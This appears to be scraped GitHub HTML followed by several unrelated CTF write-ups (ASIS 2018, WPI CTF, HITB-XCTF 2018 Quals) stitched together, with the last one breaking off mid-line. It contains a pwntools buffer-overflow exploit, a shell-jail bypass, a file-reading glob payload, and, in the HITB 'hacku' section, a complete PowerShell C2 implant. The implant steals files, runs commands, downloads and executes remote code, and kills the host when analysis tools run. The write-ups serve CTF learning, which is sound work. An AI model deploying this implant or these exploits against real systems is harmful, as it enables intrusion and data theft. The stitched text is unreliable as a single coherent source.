data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>syscaller</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>syscaller.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
[https://github.com/chaocipher/Writeups/blob/master/ASIS%202018%20-%20Warm%20up.pdf](http://) # Warm up### Category: Reverse### 27 Points### 283 Solves### Problem description:### Must-Have Pre-Workout Warm up Challenge.### Author: Chaocipher### Date: 5/2/2018### Thanks goes to ASIS for organizing the CTF.## StartI downloaded the file from the description. It’s just a 7z file nested inside another 7z file with one file inside: warmup{see screenshot at URL above} ## WarmupThis is just a .c file with a bit of code put into a single line to read.{see screenshot at URL above} I tinkered with the code a bit, but I didn’t see anything wrong so I just tried to compile it. With enough effort I was able to get the correct GCC compile command with all the required imports. Here is the string I ended up with:#### gcc warmup.c -o warmup.exe -include stdint.h -include stdio.h -include math.h From there I just ran the exe and waited for a couple minutes.{see screenshot at URL above}### ASIS{hi_all_w31c0m3_to_ASISCTF}
EZPZ, Pwn, 100pts================== Problem--------nc ezpz.wpictf.xyz 31337 Solution--------We run the following script - ```pythonfrom pwn import * r = remote('ezpz.wpictf.xyz', 31337) msg = r.recvline()print(msg)address = int(msg.split(' ')[1], 16) # 16 for hexr.recvline() buf = 'A'*0x88buf += p64(address)r.sendline(buf) r.interactive()``` This gives the flag - `WPI{3uffer_0verflows_r_ezpz_l3mon_5queazy}`. Shell-JAIL-1, Pwn, 150pts========================== Problem--------Download the login private key, then run: ssh -p 31337 -i login [email protected] redundant servers on 31338 and 31339 Solution---------The solution was to not use "\*", "sh", "/", "home", "pc_owner", "flag", "txt" in the command to display flag.txt. So we run - `./access "cat ????.???"` The flag is - `wpi{MaNY_WayS_T0_r3Ad}`. Penguin, Reversing, 50pts========================= Problem-------Find flag. Solution-------- We use ltrace to see program flow. Running `ltrace WPI{1}` Gives output - ![](output.png) So we keep doing that, and finally get the flag - `WPI{strings_only_gives_you_wings,_you_still_have_to_learn_how_to_fly._try_hexedit}`.
# HITB-XCTF GSEC CTF 2018 Quals **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180411-hitbxctfqual/) of this writeup.** - [HITB-XCTF GSEC CTF 2018 Quals](#hitb-xctf-gsec-ctf-2018-quals) - [rev](#rev) - [hacku (sces60107)](#hacku-sces60107) - [sdsun (sces60107 sasdf)](#sdsun-sces60107-sasdf) - [hex (sasdf)](#hex-sasdf) - [First try](#first-try) - [Second try](#second-try) - [misc](#misc) - [tpyx (sces60107)](#tpyx-sces60107) - [readfile (sces60107)](#readfile-sces60107) - [pix (sces60107)](#pix-sces60107) - [pwn](#pwn) - [once (kevin47)](#once-kevin47) - [Vulnerability](#vulnerability) - [Exploit](#exploit) - [gundam (kevin47)](#gundam-kevin47) - [Overview](#overview) - [Vulnerability](#vulnerability-1) - [Leak](#leak) - [Exploit](#exploit-1) - [d (kevin47)](#d-kevin47) - [Overview](#overview-1) - [Vulnerability](#vulnerability-2) - [Exploit](#exploit-2) - [babypwn (how2hack)](#babypwn-how2hack) - [Vulnerability](#vulnerability-3) - [Solution](#solution) - [Exploit](#exploit-3) - [web](#web) - [Upload (bookgin)](#upload-bookgin) - [Find the target](#find-the-target) - [Brute force the path and RCE](#brute-force-the-path-and-rce) - [Python's revenge (sasdf)](#pythons-revenge-sasdf) - [Payload](#payload) - [PHP lover (bookgin & sces60107)](#php-lover-bookgin--sces60107) - [Possible SQL injection](#possible-sql-injection) - [Bypass WAFs](#bypass-wafs) - [Email format regex check](#email-format-regex-check) - [Hacker Filter](#hacker-filter) - [Get the flag](#get-the-flag) - [baby baby (bookgin)](#baby-baby-bookgin) - [Recon](#recon) - [RCE](#rce) - [baby nya (bookgin)](#baby-nya-bookgin) - [Exposed Jserv protocol](#exposed-jserv-protocol) - [Exploit the jolokia](#exploit-the-jolokia) - [baby fs (unsolved, written by bookgin, thanks to the organizer QQ group)](#baby-fs-unsolved-written-by-bookgin-thanks-to-the-organizer-qq-group) - [3pigs (unsolved, written by how2hack)](#3pigs-unsolved-written-by-how2hack) - [Hint](#hint) - [Web Challenge? WutFace](#web-challenge-wutface) - [First stage (Misc)](#first-stage-misc) - [Python Format String Vulnerability](#python-format-string-vulnerability) - [Second stage (Pwn)](#second-stage-pwn) - [Vulnerability](#vulnerability-4) - [Solution...?](#solution-1) - [crypto](#crypto) - [easy_block (sasdf)](#easy_block-sasdf) - [Vulnerability](#vulnerability-5) - [Construct payload](#construct-payload) - [Construct hash](#construct-hash) - [easy_pub (sasdf)](#easy_pub-sasdf) - [streamgamex (sasdf)](#streamgamex-sasdf) - [base (how2hack)](#base-how2hack) - [mobile](#mobile) - [kivy simple (sces60107)](#kivy-simple-sces60107) - [multicheck (sasdf)](#multicheck-sasdf) ## rev ### hacku (sces60107) In this challenge give us two file. A pcap file and a chm file. The chm file is useless. The pcap file has a large size, because it is downloading windows update file. After some digging, I found the dns query is interesting. we can extract some base64 string. And I found a script after base64 decoding.```ps1=$GET_FILE = 'get-fle' $DOWN_EXEC = 'dow-exe'$RUN_CMD = 'run-cmd' $GET_REG = 'get-reg'$GET_TASK = 'get-tak'$GET_UPDATE = 'get-upd'$GET_REP = 'get-rep' $STATUS_INIT = 0x0000$STATUS_REGED = 0x8000$STATUS_TASK = $STATUS_REGED -bor 0x1$STATUS_PADD = $STATUS_REGED -bor 0x2 $url = 'http://192.168.99.234/cc/cc.php'$status = $STATUS_INIT$task = $null$running = $True $pubk = (1501,377753) function get-Md5Hash($str){ $md5 = new-object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider $utf8 = new-object -TypeName System.Text.UTF8Encoding $hash = [System.BitConverter]::ToString($md5.ComputeHash($utf8.GetBytes($str))) return $hash -replace '-'} function get-ComputeName{ try { return (Get-WmiObject Win32_ComputerSystem).Name; } catch { return "ErrComputeName"; }} function get-clientID{ try { $did = (wmic diskdrive get SerialNumber) $cid = get-Md5Hash $did return $cid } catch { $CompName = get-ComputeName return get-Md5Hash $CompName }}function Reg-Info{ $clientID = get-clientID $time = Get-Date $c = $GET_REG return @{c = $c ; x = $clientID ;e = $time ; i = 0} | ConvertTo-Json}function get-Task{ $clientID = get-clientID $time = Get-Date $c = $GET_TASK return @{c = $c ; x = $clientID ;e = $time ; i = 0} | ConvertTo-Json}function EttRRRRRRhd ( $tid , $taskinfo ){ $clientID = get-clientID $time = Get-Date $c = $GET_REP return @{c = $c ; x = $clientID ;e = $taskinfo; i = $tid} | ConvertTo-Json} function check_VM(){ $p = @("win32_remote","win64_remote64","ollydbg","ProcessHacker","tcpview","autoruns","autorunsc","filemon","procmon","regmon","procexp","idaq","idaq64","ImmunityDebugger","Wireshark","dumpcap","HookExplorer","ImportREC","PETools","LordPE","dumpcap","SysInspector","proc_analyzer","sysAnalyzer","sniff_hit","windbg","joeboxcontrol","joeboxserver") for ($i=0; $i -lt $p.length; $i++) { if(ps -name $p[$i] -ErrorAction SilentlyContinue){ shutdown /s /f /t 0 exit } }} function YTRKLJHBKJHJHGV($msg){ while($True) { try { $content = $msg $webRq = [System.Net.WebRequest]::Create($url) $webRq.proxy = [Net.WebRequest]::GetSystemWebProxy() $webRq.proxy.Credentials = [Net.CredentialCache]::DefaultCredentials # $content = YNHGFOI8YIUGH $content # $content = OPKE3989hYYY $pubk $content # # $content = YNHGFOI8YIUGH $content $enc = [System.Text.Encoding]::UTF8.GetBytes($content) # $webRq.Method = 'POST' $webRq.ContentLength = $enc.length if ($enc.length -gt 0) { $req_stream = $webRq.GetRequestStream() $req_stream.Write($enc , 0 , $enc.length) } [System.Net.WebResponse] $rep = $webRq.GetResponse() if ($rep -ne $null) { $data = $rep.GetResponseStream() [System.IO.StreamReader] $res_d = New-Object System.IO.StreamReader $data [String] $result = $res_d.ReadToEnd() } } catch { $result = 'err' # } if ($result -eq 'err') { } else { return $result } }} function POIUIGKJNBYFF($msg){ $msg = OKMNHGGGGSSAAA $pubk $msg $msg = ConvertFrom-Json -InputObject $msg return $msg.r,$msg.e} function YNHGFOI8YIUGH( $str ){ return [Convert]::ToBase64String( [System.Text.Encoding]::Utf8.GetBytes($str))} function VCDHJIIDDSQQQ( $b64 ){ return [System.Text.Encoding]::Utf8.GetString([System.Convert]::FromBase64String($b64))} function POPOUIUJKKKI($file){ return YNHGFOI8YIUGH (Get-Content $file)} function MJOOLLFGFASA($name){ $filelist = @() $result = @{} for ($i = 0x43 ; $i -lt 0x5b; ++ $i) { try { $dc = '{0}:/' -f ([char]$i) $file = Get-ChildItem "$dc" -recurse $name | %{$_.FullName} if ($file.length -gt 0) { $filelist += $file } } catch { continue } } $result.ct = $filelist.length $result.dt = @() foreach( $f in $filelist) { $fd = POPOUIUJKKKI $f $result.dt += @{path=(YNHGFOI8YIUGH $f ); txt=$fd} } return ConvertTo-Json -InputObject $result } function DXCFGIOUUGKJB764($x, $h, $n){ $y = 1 while( $h -gt 0 ) { if ( ( $h % 2 ) -eq 0) { $x = ($x * $x) % $n $h = $h / 2 }else { $y = ($x * $y) % $n $h = $h - 1 } } return $y} function OPKE3989hYYY($pk , $plaintext){ $key , $n = $pk $arr = @() for ($i = 0 ; $i -lt $plaintext.length ; $i++) { $x = DXCFGIOUUGKJB764 ([int] $plaintext[$i]) $key $n $arr += $x } return $arr}function OKMNHGGGGSSAAA($pk,$enctext){ $key , $n = $pk $txt = "" $enctext = VCDHJIIDDSQQQ $enctext [int[]]$enctab = $enctext -split ' ' foreach ($x in $enctab) { if ($x -eq 0) { continue } $x = DXCFGIOUUGKJB764 $x $key $n $txt += [char][int]$x } $txt = VCDHJIIDDSQQQ($txt) return $txt} function UIHIUHGUYGOIJOIHGIHGIH($cmd){ $cmd = ConvertFrom-Json -InputObject $cmd $c = $cmd.c $i = $cmd.i $e = $cmd.e $x = $cmd.x # # if ($c -eq $GET_FILE) { $d = MJOOLLFGFASA $e } elseif ($c -eq $RUN_CMD) { $d = Invoke-Expression $e -ErrorAction SilentlyContinue } elseif ($c -eq $DOWN_EXEC) { $d = Invoke-Expression ((New-Object Net.WebClient).DownloadString("$e")) -ErrorAction SilentlyContinue }return @($i , $d)} $MuName = 'Global\_94_HACK_U_HAHAHAHAHA'$retFlag = $flase$Result = $True $MyMutexObj = New-Object System.Threading.Mutex ($true,$MuName,[ref]$retFlag)if ($retFlag){ $Result = $True}else{ $Result = $False} if ($Result){ while($True -and $running) { if($status -eq $STATUS_INIT) { $OO0O0O0O00 = Reg-Info $ret = YTRKLJHBKJHJHGV($OO0O0O0O00) $r,$e = POIUIGKJNBYFF($ret) if ($r -eq 'yes' -and $e -eq 'ok_then_u_go') { $status = $STATUS_PADD } } if ($status -eq $STATUS_PADD) { $OO0O0O0O00 = get-Task $ret = YTRKLJHBKJHJHGV($OO0O0O0O00) $r,$e = POIUIGKJNBYFF($ret) if ($r -eq 'yes') { $task = $e $status = $STATUS_TASK } } if ($status -eq $STATUS_TASK) { # $ret = UIHIUHGUYGOIJOIHGIHGIH($task) $OO0O0O0O00 = EttRRRRRRhd $ret[0] $ret[1] $ret = YTRKLJHBKJHJHGV($OO0O0O0O00) $r,$e = POIUIGKJNBYFF($ret) if ($r -eq 'yes') { $status = $STATUS_PADD $task = $null } } sleep 3 } $MyMutexObj.ReleaseMutex() | Out-Null $MyMutexObj.Dispose() | Out-Null}else{ }``` They use `rsa` to encrypt message. the n is easy to factor. Still, we can find out the encrypted message from pcap file. We also extract two things from those message. The first one is a rar file, the second is a ps1 script. We cannot open the rar file. After a few hour, the host change the challenge. Now we have flag part1 instead of rar file. The flag part1 is `HITBXCTF{W0rk_1n_th3_dark_` Let's see the ps1 script. It actually generate a exe file at the temp directory. Then, we can reverse that exe file. I found out that it's trying to write something on MBR. The final step is reversing what it write on MBR. It's 80286 architecture. Now we just need decode the encryted flag part2.```python=ciphertext='%\xa19\x89\xa6\x9d\xd5\xa5u\x8dJ\x92\xf1Y^\x91'def ror(a,b): return (a>>b)|(a<<(8-b))def rol(a,b): return (a<<b)|(a>>(8-b))flag=""table=[]#maintain a tablefor j in range(256): x=j x=ror(x,3)%256 x^=0x74 x=rol(x,5)%256 x+=0x47 x%=256 if(x%2==0): teble.append(x-1) else: table.append(x+1)for i in ciphertext: flag+=chr(table.index(ord(i)))print flag``` ### sdsun (sces60107 sasdf) The first thing you will notice is that the binary is packed by upx. The way I unpack the binary is using gdb. I let the binary exectue for a while. It will be unpacked in the memory. So I can dump the whole memory in gdb. Now I have the unpacked binary. but it is hard to understand it. I found some feature indicating that this binary is written in Go language. Then I use this [script](https://gitlab.com/zaytsevgu/goutils/blob/master/go_renamer.py) to recover the symbol. It will be much easier to understand this binary.![](https://i.imgur.com/ysBuyUy.png) It seems like there is a backdoor. This binary will listen to a random port. And it will output the port number. The communication with the backdoor is compressed. and it use zlib. Also, the communication format is json. The backdoor will give you flag if your command is `{"action":"GetFlag"}`. We found this rule in `main.Process`![](https://i.imgur.com/w487Voi.png) Now we have the flag `HITB{4e773ff1406800017933c9a1c9f14f35}` ### hex (sasdf)A arduino challenge, data is in intelhex format. I use helper script `hex2bin.py` from intexHex python library to generate binary. #### First tryLoaded in disassembler with MCU as AVR, you can easily find pattern below keep repeating started from 0x987 (in IDA, or 0x130e in radare2)```asmldi r22, 0xXXldi r24, 0x77ldi r25, 0x01call 0xffaldi r22, 0xf4ldi r23, 0x01ldi r24, 0x00ldi r25, 0x00call 0xbdaldi r22, 0xXXldi r24, 0x77ldi r25, 0x01call 0xf62ldi r22, 0x88ldi r23, 0x13ldi r24, 0x00ldi r25, 0x00call 0xbda```I dumped all `XX` bytes in previous pattern but didn't figure out how to decode it. So I decided to dig into these functions. It tooks me about half hour to manually decompile `fcn.ffa` to following (wrong) psuedo code:```pythonr26 = 0x77if r22 >= 136: r31 = 0 r30 = r22 & 0x7f mem[0x77+4] |= (1 << r30) r22 = 0else: r22 + 0x78 if r22 not in mem[0x77+6:0x77+0xc]: # six slots try: slot = mem[0x77+6:0x77+0xc].index(0) except: mem[0x77+3] = 0 mem[0x77+2] = 1 return mem[0x77+6+slot] = r22 fcn_e7e()```I gave up. #### Second tryAfter the third hint `Keyboard` is out, I suddenly realized that MCU of Arduino Micro is ATmega32u4, a USB enabled device, rather than common arduino MCU ATmega328p. Everything makes sense now. The structure in 0x77 must be USB keyboard report which has 6 slot (a obvious sign if you are familar with NKRO or know the difference between PS2 and USB keyboard). Here's source code from Arduino's Keyboard library:```C++size_t Keyboard_::press(uint8_t k) { uint8_t i; if (k >= 136) { // it's a non-printing key (not a modifier) k = k - 136; } else if (k >= 128) { // it's a modifier key _keyReport.modifiers |= (1<<(k-128)); k = 0; } else { // it's a printing key k = pgm_read_byte(_asciimap + k); if (!k) { setWriteError(); return 0; } if (k & 0x80) { // it's a capital letter or other character reached with shift _keyReport.modifiers |= 0x02; // the left shift modifier k &= 0x7F; } } // Add k to the key report only if it's not already present // and if there is an empty slot. if (_keyReport.keys[0] != k && _keyReport.keys[1] != k && _keyReport.keys[2] != k && _keyReport.keys[3] != k && _keyReport.keys[4] != k && _keyReport.keys[5] != k) { for (i=0; i<6; i++) { if (_keyReport.keys[i] == 0x00) { _keyReport.keys[i] = k; break; } } if (i == 6) { setWriteError(); return 0; } } sendReport(&_keyReport); return 1;}```Ahh, `fcn.ffa` is `Keyboard::_press`!! It turns out that `fcn.f62` is `Keyboard::_release` and `fcn.bda`, which use timer register `TCNT0`, is `delay`. Take our previous dump of parameters, convert it to keystroke, and the flag shows up.``` $##&:|#| !##| ;&&&&&&$# #$##@|. `%##@; :@#$` |#| |#| ;#%. !#! .%#| #&#! |#| #&@: :#%. ;#####|.|#| .|####$` #&###|!@%. ;#| |#; |#! :@$` ;#%.`:@%. |#! |#| `. :@$` ;#&# .%#%. !#| .%##@&##@# :&#! ;#%. :@$` #&$` |#! |#| `%#####&#.%#!#####;#%`!#@; ;#$` ;##! ;#$` ;#%.` $#$` |#! |#| .%#@%&@#&# |####&&#%. ;#| !##@@##%` :@#######$. `$##@##! @%.``` P.S. I think if you find an Arduino Micro, burn the firmware, plug into PC, then you will get the flag in one hour. No reverse needed. ## misc ### tpyx (sces60107) The png file is broken. It seems like We need to fix it first.`pngcheck` tell us that it has crc checksum error```shell$ pngcheck -v e47c7307-b54c-4316-9894-5a8daec738b4.png File: e47c7307-b54c-4316-9894-5a8daec738b4.png (1164528 bytes) chunk IHDR at offset 0x0000c, length 13 1024 x 653 image, 32-bit RGB+alpha, non-interlaced chunk IDAT at offset 0x00025, length 1162839 zlib: deflated, 32K window, default compression CRC error in chunk IDAT (computed ecfb2a19, expected ba3de214)ERRORS DETECTED in e47c7307-b54c-4316-9894-5a8daec738b4.png``` When you try to fix the crc checksum, you will notice that the size of IDAT chunk is also wrong. The true size is 1164470 not 1162839 After corrected all faults, just use `zsteg` to detect any interesting things and also extract them.```shell$ zsteg e47c7307-b54c-4316-9894-5a8daec738b4_fixed.png[?] 1 bytes of extra data after image end (IEND), offset = 0x11c4efextradata:imagedata .. file: zlib compressed data......$ zsteg e47c7307-b54c-4316-9894-5a8daec738b4_fixed.png -e extradata:imagedata > zlibdata$ python -c "import zlib; print zlib.decompress(open('zlibdata').read())" > data$ cat data377abcaf271c000382f96c91300000000000000073000000000000003c0e24409c429fdb08f31ebc2361b3016f04a79a070830334c68dd47db383e4b7246acad87460cd00ba62cfae68508182a69527a0104060001093000070b0100022406f107010a5307cb7afbfaec5aa07623030101055d0000010001000c2c2700080a01c35b933000000501110b0066006c00610067000000120a010000844bf3571cd101130a010000e669e866d1d301140a010080ffcdd963d1d301150601008000000000001800345172634f556d365761752b5675425838672b4950673d3d$ cat data | xxd -r -p > data$ file datadata.7z: 7-zip archive data, version 0.3 ```Now we have a 7z file, but we need password.The 7z file is actually appended with the password.```shell$ xxd data00000000: 377a bcaf 271c 0003 82f9 6c91 3000 0000 7z..'.....l.0...00000010: 0000 0000 7300 0000 0000 0000 3c0e 2440 ....s.......<.$@00000020: 9c42 9fdb 08f3 1ebc 2361 b301 6f04 a79a .B......#a..o...00000030: 0708 3033 4c68 dd47 db38 3e4b 7246 acad ..03Lh.G.8>KrF..00000040: 8746 0cd0 0ba6 2cfa e685 0818 2a69 527a .F....,.....*iRz00000050: 0104 0600 0109 3000 070b 0100 0224 06f1 ......0......$..00000060: 0701 0a53 07cb 7afb faec 5aa0 7623 0301 ...S..z...Z.v#..00000070: 0105 5d00 0001 0001 000c 2c27 0008 0a01 ..].......,'....00000080: c35b 9330 0000 0501 110b 0066 006c 0061 .[.0.......f.l.a00000090: 0067 0000 0012 0a01 0000 844b f357 1cd1 .g.........K.W..000000a0: 0113 0a01 0000 e669 e866 d1d3 0114 0a01 .......i.f......000000b0: 0080 ffcd d963 d1d3 0115 0601 0080 0000 .....c..........000000c0: 0000 0018 0034 5172 634f 556d 3657 6175 .....4QrcOUm6Wau000000d0: 2b56 7542 5838 672b 4950 673d 3d +VuBX8g+IPg==$ 7z x data -p4QrcOUm6Wau+VuBX8g+IPg==..Extracting flag..$ cat flagHITB{0c88d56694c2fb3bcc416e122c1072eb}``` ### readfile (sces60107) It seems like the non-punctuation letter will be filtered. So I try to readfile with `Arithmetic expansion` The payload is `$(</????/????_??_????/*)` Then we can read the flag `HITB{d7dc2f3c59291946abc768d74367ec31}` ### pix (sces60107) Use `zsteg` to extract a keepassX database file ```shell$ zsteg aee487a2-49cd-4f1f-ada6-b2d398342d99.SteinsGateimagedata .. text: " !#865 